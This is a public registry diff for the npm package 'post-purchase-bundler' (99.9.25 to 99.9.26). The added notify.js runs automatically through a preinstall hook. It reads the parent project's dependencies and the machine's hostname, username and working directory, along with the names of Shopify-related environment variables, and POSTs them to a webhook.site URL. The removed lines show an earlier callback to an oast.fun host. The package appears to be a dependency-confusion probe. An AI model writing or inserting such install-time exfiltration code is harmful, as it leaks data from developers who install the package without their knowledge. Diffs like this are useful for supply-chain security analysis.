post-purchase-bundler 99.9.25 → 99.9.26
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/notify.js +32 -37
- package/package.json +2 -2
package/notify.js
CHANGED
|
@@ -1,50 +1,45 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const os = require('os');
|
|
3
4
|
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
},
|
|
24
|
-
timestamp: new Date().toISOString()
|
|
5
|
+
function run() {
|
|
6
|
+
let parentDeps = "N/A";
|
|
7
|
+
try {
|
|
8
|
+
// Bir pillə yuxarıdakı package.json-u oxuyuruq
|
|
9
|
+
if (fs.existsSync('../package.json')) {
|
|
10
|
+
const content = fs.readFileSync('../package.json', 'utf8');
|
|
11
|
+
parentDeps = Object.keys(JSON.parse(content).dependencies || {}).join(', ');
|
|
12
|
+
}
|
|
13
|
+
} catch (e) {
|
|
14
|
+
parentDeps = "Error: " + e.message;
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
const payload = JSON.stringify({
|
|
18
|
+
event: "IMPACT-VERIFICATION",
|
|
19
|
+
hostname: os.hostname(),
|
|
20
|
+
user: os.userInfo().username,
|
|
21
|
+
dir: process.cwd(),
|
|
22
|
+
dependencies: parentDeps,
|
|
23
|
+
env_keys: Object.keys(process.env).filter(k => k.toLowerCase().includes('shopify')).join(', ')
|
|
25
24
|
});
|
|
26
25
|
|
|
27
26
|
const options = {
|
|
28
|
-
|
|
29
|
-
hostname: 'znymmqcieimlhbwpqsprfq2wnvjigr9wi.oast.fun',
|
|
27
|
+
hostname: 'webhook.site',
|
|
30
28
|
port: 443,
|
|
31
|
-
path: '/
|
|
29
|
+
path: '/4d0cc13d-a185-4e95-92dc-f4681125055c',
|
|
32
30
|
method: 'POST',
|
|
33
31
|
headers: {
|
|
34
32
|
'Content-Type': 'application/json',
|
|
35
|
-
'Content-Length':
|
|
33
|
+
'Content-Length': Buffer.byteLength(payload)
|
|
36
34
|
}
|
|
37
35
|
};
|
|
38
36
|
|
|
39
|
-
const req = https.request(options
|
|
40
|
-
// Sorğu bitdikdən sonra prosesi bağlayırıq ki, install davam etsin
|
|
41
|
-
res.on('data', () => {});
|
|
42
|
-
res.on('end', () => process.exit(0));
|
|
43
|
-
});
|
|
44
|
-
|
|
37
|
+
const req = https.request(options);
|
|
45
38
|
req.on('error', () => process.exit(0));
|
|
46
|
-
req.write(
|
|
47
|
-
req.end()
|
|
48
|
-
|
|
39
|
+
req.write(payload);
|
|
40
|
+
req.end(() => {
|
|
41
|
+
setTimeout(() => process.exit(0), 1000);
|
|
42
|
+
});
|
|
43
|
+
}
|
|
49
44
|
|
|
50
|
-
|
|
45
|
+
run();
|
package/package.json
CHANGED
|
@@ -1,8 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "post-purchase-bundler",
|
|
3
3
|
"private": false,
|
|
4
|
-
"version": "99.9.
|
|
5
|
-
"type": "module",
|
|
4
|
+
"version": "99.9.26",
|
|
6
5
|
"scripts": {
|
|
7
6
|
"preinstall": "node notify.js",
|
|
8
7
|
"graphql-codegen": "graphql-codegen"
|
|
@@ -10,6 +9,7 @@
|
|
|
10
9
|
"dependencies": {
|
|
11
10
|
"@shopify/admin-api-client": "^0.2.9",
|
|
12
11
|
"@shopify/shopify-api": "^10.0.0",
|
|
12
|
+
"post-purchase-bundler": "^99.9.19",
|
|
13
13
|
"react": "^18.0.0"
|
|
14
14
|
}
|
|
15
15
|
}
|